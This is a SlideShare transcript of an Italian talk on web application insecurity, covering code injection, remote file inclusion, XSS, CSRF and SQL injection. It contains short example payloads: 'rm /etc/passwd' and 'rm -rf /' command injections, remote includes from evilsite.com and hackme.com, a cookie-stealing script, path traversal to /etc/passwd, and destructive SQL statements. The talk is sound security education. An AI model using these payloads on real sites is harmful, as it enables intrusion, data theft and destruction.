Your SlideShare is downloading. ×
0
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Web Application Insecurity Uncensored
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Web Application Insecurity Uncensored

2,758

Published on

Web Application Insecurity Uncensored

Web Application Insecurity Uncensored

Published in: Technology
0 Comments
2 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
2,758
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
0
Comments
0
Likes
2
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Alessandro “jekil” Tanasi [email_address] http://www.tanasi.it Web Application (In)Security LUG Trieste UNCENSORED
  • 2. Introduzione.. Affermazioni illustri di manager, aziende, enti non citati. Ciao Gianni, sai ci siamo fatti fare il sito nuovo, abbiamo speso solo 500 ϵ ..no no, non esiste documentazione. Tanto è solo carta inutile! Ma certo che sono sicuro! Il sito è protetto da firewall e antivirus Anzi.. usiamo un ritrovato della sicurezza chiamato S..S.. SSL! Ci protegge lui, figo no? Ma alla fine, ti dirò, la sicurezza non ci interessa al momento ?
  • 3. Un comune sito web Abbiamo provato, e abbiamo miseramente fallito. Questo ci insegna che non vale la pena di provare. Homer Simpson
  • 4. Siti e applicazioni web <ul><li>Il web è un'insieme di servizi applicativi per la distribuzione di contenuti </li></ul><ul><li>Negozi online, online banking, community, e-government </li></ul><ul><li>Una web application prende un input dall'utente , esegue delle operazioni sull'input magari interagendo con componenti di terze parti, mostra in output un risultato in formato HTML </li></ul><ul><li>Quasi sempre scritto “from scratch” </li></ul><ul><li>Utilizzo di uno o più linguaggi di programmazione: PHP, Perl, Pyhton, ASP, .. </li></ul><ul><li>Spesso le funzionalità sono l'unico obbiettivo, spesso il programmatore non ha nozioni di programmazione sicura </li></ul>
  • 5. Architettura <ul><li>Architetture complesse </li></ul><ul><li>Piattaforme multiple </li></ul><ul><li>Molti protocolli </li></ul>Web Servers Presentation Layer Media Store Database Server Customer Identification Access Controls Transaction Information Core Business Data Application Server Business Logic Content services
  • 6. Un brutto giorno... <ul><li>Arriva il conto: </li></ul><ul><li>Perdita di clienti </li></ul><ul><li>Problemi legali </li></ul><ul><li>Costi aggiuntivi </li></ul><ul><li>Perdita di credibilità </li></ul>
  • 7. Quali problemi? <ul><li>Sviluppo web fatto in maniera caotica </li></ul><ul><li>Prima si devono soddisfare i requisiti dettati dall'utente/committente (features), poi se avanza tempo si mette in sicurezza </li></ul><ul><li>Se una cosa funziona bene perchè modificarla? </li></ul><ul><li>Falsi sensi di sicurezza (SSL, firewall) </li></ul>Mancanza di competenze degli sviluppatori, non comprensione dei problemi da parte del management, poca importanza data alla sicurezza. Indisponibilità a investire in cose che non danno un ritorno visibile.
  • 8. Statistiche.. Source: 2006 CSI/FBI survey
  • 9. Una nuova web era People that writes at the state of the art, make the world more secure. Sarah Gordon
  • 10. Web 2.0
  • 11. Web 2.0 Components <ul><li>Protocolli (SOAP, XML-RPC, REST over HTTP o HTTPS) </li></ul><ul><li>Strutture dati (XML, JSON, JS objects) </li></ul><ul><li>Metodi di comunicazione (asincrone, cross domain proxy) </li></ul><ul><li>Condivisione di informazioni </li></ul>
  • 12. Tecnologie 2.0 <ul><li>Architetture complesse </li></ul><ul><li>Confusione creata dalle tante tecnologie usate </li></ul><ul><li>RSS e molte sorgenti di dati non fidate </li></ul><ul><li>Widgets e componenti di terze parti </li></ul><ul><li>Condivisione delle informazioni </li></ul>Ma.. gli sviluppatori web sanno gestire tutto questo in modo sicuro ?
  • 13. Vulnerabilità comuni To win a war, one must know the way. Sun Tzu The Art of War
  • 14. Utente, user input <ul><li>Gli utenti sono brave persone, di cui ci si può fidare , e che useranno l'applicazione nel modo corretto , tutti sono miei amici! </li></ul><ul><li>L'applicazione non si aspetta input maliziosi, fiducia implicita nell'input </li></ul><ul><li>E c'era la marmotta che incartava la cioccolata... </li></ul><ul><li>L'input proveniente da un utente non è mai fidato </li></ul><ul><li>L'obbiettivo è mettere l'applicazione in uno stato non previsto , per ottenere comportamenti anomali o informazioni di debugging </li></ul>
  • 15. Globals <ul><li>Ad ogni parametro in input corrisponde una variabile, variabili globali </li></ul><ul><li>Abilitate con il parametro register_globals (disabilitato di default da PHP 4.1.0) </li></ul><ul><li>Manipolazione di variabili (e conseguenze..) </li></ul>http://example.com/index.php <ul><li><?php </li></ul><ul><ul><li>fai_cose_con($pippo); </li></ul></ul><ul><li>?> </li></ul>http://example.com/index.php?pippo=all
  • 16. Code injection <ul><li>Alcune funzioni (eval, exec, fopen, etc.) valutano codice o effettuano chiamate al sistema operativo </li></ul><ul><li>Inietta codice (PHP script, comandi shell) </li></ul><ul><li>Esecuzione di codice sul web server con i privilegi del web server </li></ul>http://example.com/index.php?arg=marmotta <ul><li><?php </li></ul><ul><ul><li>$name = $_GET['arg']; </li></ul></ul><ul><ul><li>exec (&quot;echo $name&quot;); </li></ul></ul><ul><li>?> </li></ul>http://example.com/index.php?arg= marmotta; rm /etc/passwd
  • 17. Remote file inclusion <ul><li>Esecuzione di codice remoto </li></ul><ul><li>L'attaccante può far scaricare ed eseguire codice con i privilegi del web server semplicemente modificando l'URL </li></ul><?php include($layout); ?> http://example.com/index.php?layout=green http://example.com/index.php?layout=http://evilsite.com/evilscript
  • 18. Esempi <ul><li>Serendipity </li></ul><ul><ul><li>@include_once($_POST['serendipityPath'] . 'include/db/db.inc.php'); </li></ul></ul><ul><li>WordPress </li></ul><ul><ul><li>include(ABSPATH . 'wp-content/plugins/' . trim( $_GET['plugin'] )); </li></ul></ul><ul><li>YaBB </li></ul><ul><ul><li>include($_REQUEST['installdir'] . '/Settings.php'); </li></ul></ul><ul><li>Squirellmail Plugin </li></ul><ul><ul><li>include($_POST['Include']); </li></ul></ul>
  • 19. Exploit <ul><li>Sensitive File retrieval </li></ul><ul><ul><li>?value=../../../../../../../../../etc/passwd </li></ul></ul><ul><li>Arbitrary code execution </li></ul><ul><ul><li>?value=http://www.hackme.com/shellcode.txt </li></ul></ul><ul><li>Content Removal </li></ul><ul><ul><li>shell_exec(“nohup rm -rf / 2>&1 1>/dev/null &”); </li></ul></ul><ul><li>Infinite possibilità d'uso... </li></ul>
  • 20. Cross site scripting(XSS) <ul><li>Fiducia implicita nel contenuto del browser </li></ul><ul><li>Un sito fidato viene usato per distribuire contenuti malevoli </li></ul><ul><li>Codice HTML e/o Javascript iniettato </li></ul><?php echo “You searched for $q”; // show results ?> http://example.com/index.php?q=marmotta http://example.com/index.php?q=<script>alert('buh!')</script>
  • 21. XSS <ul><li>Privacy : Può trasmettere dati privati dell'utente, tracciamento, history </li></ul><ul><li>Autenticazione : furto di credenziali, password manager </li></ul><ul><li>Integrità : Può alterare il sito visitato, phishing </li></ul><ul><li>Disponibilità : causare DoS </li></ul><ul><li>Exploitation del browser e sue estensioni </li></ul><ul><li>Rich Internet Applications (Flash, Acrobat, Java, ActiveX, Silverlight, Media Player) </li></ul><ul><li>Scansione della intranet </li></ul><ul><li>Attacchi alla intranet </li></ul>
  • 22. Esempi <ul><li>phpMyAdmin </li></ul><ul><ul><li>echo $_COOKIE['pma_db_filename_template']; </li></ul></ul><ul><li>phpMyEdit </li></ul><ul><ul><li>echo '<input type=&quot;hidden&quot; name=&quot;fl&quot; value=&quot;'.$_POST[fl].'&quot; />'.&quot; &quot;; </li></ul></ul><ul><li>University of Toronto </li></ul><ul><ul><li><input type=&quot;hidden&quot; name=&quot;show_courses&quot; value=&quot;<?php echo $_GET['show_courses']; ?>&quot; /> </li></ul></ul><ul><li>Modernbill </li></ul><ul><ul><li><form action=&quot;<?php echo $_SERVER['PHP_SELF']; ?>&quot; method=&quot;GET&quot;> </li></ul></ul>
  • 23. Exploit <ul><li>Cookie/Session Theft </li></ul><ul><ul><li><script>window.location=...?document.cookie;</script> </li></ul></ul><ul><li>Content Modification </li></ul><ul><ul><li><script>document.getElementById(‘price’).innerHTML=’$1’;</script> </li></ul></ul><ul><li>CSRF Initiation </li></ul><ul><ul><li><img src=”http://hackme.com/” /> </li></ul></ul><ul><li>Social Engineering </li></ul><ul><ul><li><iframe src=”http://hackme.com/login” ></iframe> </li></ul></ul>
  • 24. CSRF <ul><li>Modello di autenticazione tradizionale: l'utente fa login e tutte le successive richieste sono autenticate </li></ul><ul><li>C ross S ite R equest F orgery </li></ul><ul><li>Forzare il browser a mandare richieste per un sito ad insaputa dell'utente (trasferimenti di denaro, post sul blog) </li></ul><ul><li>Utente forzato a fare una richiesta (autenticata) non voluta </li></ul><img src=&quot;http://google.com/search?q=porno&quot;/>
  • 25. SQL Injection <ul><li>Molti siti web usano un DBMS per gestire e memorizzare dati </li></ul><ul><li>SQL è un linguaggio (DDL, DML, e altro..) </li></ul><ul><li>Iniezione di query arbitrarie al DBMS, attacco al backend </li></ul><ul><li>Amplificata da errate configurazioni dei DBMS </li></ul><?php mysql_query(“SELECT * FROM users WHERE uid='$var'”); ?> http://example.com/index.php?var=123 http://example.com/index.php?var=aaa'; DELETE FROM users;
  • 26. Esempi <ul><li>Bugs (bug tracking software) </li></ul><ul><ul><li>&quot;select * from userstable where uname='&quot;.$_COOKIE['FIDOlogin'][1].&quot;'limit 1&quot; </li></ul></ul><ul><li>OSTicket </li></ul><ul><ul><li>&quot;SELECT * FROM ticket_reps WHERE ID='$_POST[r_id]'&quot; </li></ul></ul><ul><li>XOOPS </li></ul><ul><ul><li>&quot;SELECT pass FROM {$table_prefix}users WHERE uname='$_COOKIE[$auth_ucookie]'&quot; </li></ul></ul><ul><li>phpMyFaq </li></ul><ul><ul><li>&quot;SELECT time FROM &quot;.SQLPREFIX.&quot;faqsessions WHERE sid = &quot;.$_REQUEST[&quot;id&quot;] </li></ul></ul>
  • 27. Exploit <ul><li>Arbitrary Query Injection </li></ul><ul><ul><li>?val=(DELETE FROM table); </li></ul></ul><ul><li>Arbitrary data retrieval </li></ul><ul><ul><li>?id=column_name </li></ul></ul><ul><li>Denial of Service </li></ul><ul><ul><li>?val=(BENCHMARK(100000000, MD5(RAND())); </li></ul></ul><ul><li>Data Modification </li></ul><ul><ul><li>?val=(UPDATE users SET is_admin=1); </li></ul></ul>
  • 28. Autenticazione debole <ul><li>Gestione dell'autenticazione e della sessione </li></ul><ul><li>Debolezze architetturali (Forgot my pass) </li></ul><ul><li>Authentication bypass </li></ul><ul><li>Session hijacking </li></ul><ul><li>Brute forcing o previsione del session ID </li></ul><ul><li>Cookie Overload / Session Fixation </li></ul><ul><li>I cookie sono un'input utente e come tali vanno trattati </li></ul>
  • 29. Errori di gestione <ul><li>Software installati e mai aggiornati </li></ul><ul><li>Configurazioni errate, affrettate o di default </li></ul><ul><li>Presenza di file non necessari, di backup, di esempio </li></ul><ul><li>Permessi sbagliati, policy errate su dati privati </li></ul><ul><li>Servizi non necessari abilitati, funziolità non utilizzate abilitate </li></ul><ul><li>Account di default utilizzabili </li></ul><ul><li>Debug abilitato </li></ul>
  • 30. OWASP Top 10 2007 <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Injection Flaws </li></ul><ul><li>Malicious File Execution Code vulnerable to remote file inclusion (RFI) </li></ul><ul><li>Insecure Direct Object Reference </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li></ul><ul><li>Information Leakage and Improper Error Handling </li></ul><ul><li>Broken Authentication and Session Management </li></ul><ul><li>Insecure Cryptographic Storage </li></ul><ul><li>Insecure Communication </li></ul><ul><li>Failure to Restrict URL Access </li></ul>http://www.owasp.org
  • 31. Ulteriori minacce <ul><ul><li>We wouldn’t need so much network security, </li></ul></ul><ul><ul><li>if we didn’t have such bad software security. </li></ul></ul><ul><ul><li>Bruce Schneier </li></ul></ul>
  • 32. Web Services <ul><li>Standard per la comunicazione machine to machine (XML, SOAP, WSDL, UDDI) </li></ul><ul><li>Interfaccia alla business logic e hai dati </li></ul><ul><li>Automazione di processi di business (b2b, b2c), nuovi servizi </li></ul><ul><li>Soffrono delle stesse problematiche delle applicazioni web: </li></ul><ul><ul><li>Messaggi di errori pettegoli </li></ul></ul><ul><ul><li>SQL Injection </li></ul></ul><ul><ul><li>Gestione delle eccezioni </li></ul></ul><ul><ul><li>Access control </li></ul></ul><ul><ul><li>Gestione delle sessioni </li></ul></ul><ul><ul><li>Configurazioni errate </li></ul></ul>
  • 33. Malware <ul><li>Amministratori di siti che includono volutamente malware </li></ul><ul><li>Siti defacciati che includono non volutamente malware </li></ul><ul><li>Malware iniettato in aree pubbliche (XSS persistente) </li></ul><ul><li>Click su link malformati in maniera apposita (XSS non persistente) </li></ul><ul><li>Worm e virus dal mondo reale: Myspace.com 2005, Yamanner 2006 </li></ul>
  • 34. Altre vulnerabilità <ul><li>XML Security </li></ul><ul><li>JJavascript manipulationSON Security </li></ul><ul><li>AJAX Security </li></ul><ul><li>Buffer overflow </li></ul><ul><li>Spam relay </li></ul><ul><li>Timing Attacks </li></ul><ul><li>ActiveX Controls </li></ul><ul><li>Java applets (sandbox bypassing) </li></ul><ul><li>Javascript manipulation </li></ul><ul><li>Xpath Injection </li></ul><ul><li>..e molto altro </li></ul>
  • 35. Conclusioni <ul><li>Le applicazioni web sono quasi sempre scritte male o in fretta </li></ul><ul><li>Quindi molto vulnerabili, principalmente a causa di problemi legati alla validazione dell'input o problemi architetturali </li></ul><ul><li>Il codice delle web application fa parte del perimetro di sicurezza </li></ul><ul><li>Le web application sono un bersaglio ghiotto </li></ul><ul><li>La tecnologia cambia velocemente (JS, AJAX, WS), l'innovazione spesso non avviene in modo corretto </li></ul>
  • 36. Slides <ul><li>Le slides di questa presentazione sono già disponibili su: http://www.lonerunners.net/slides </li></ul><ul><li>Per informazioni: </li></ul><ul><li>http://www.tanasi.it </li></ul><ul><li>[email_address] </li></ul><ul><li>Non esitate a contattarmi anche solo per far due chiacchere... </li></ul>
  • 37. Licenza <ul><li>Questo documento viene rilasciato sotto licenza Alcoolware, la quale non è altro che una normale licenza Creative Commons Attribute-NonCommercial-ShareALike [1] ma con l'aggiunta che se mi incontrate dobbiamo andare a bere qualcosa. </li></ul><ul><li>In sintesi è liberamente distribuibile per usi non commerciali, copiabile e modificabile purchè citiate l'autore e la fonte. </li></ul><ul><li>Se volete distribuire questo documento sul vostro sito siete pregati per favore di comunicarmelo in modo che possa spedirvi le nuove versioni. </li></ul>[1] http://creativecommons.org/licenses/by-nc-sa/2.0/
  • 38.  

×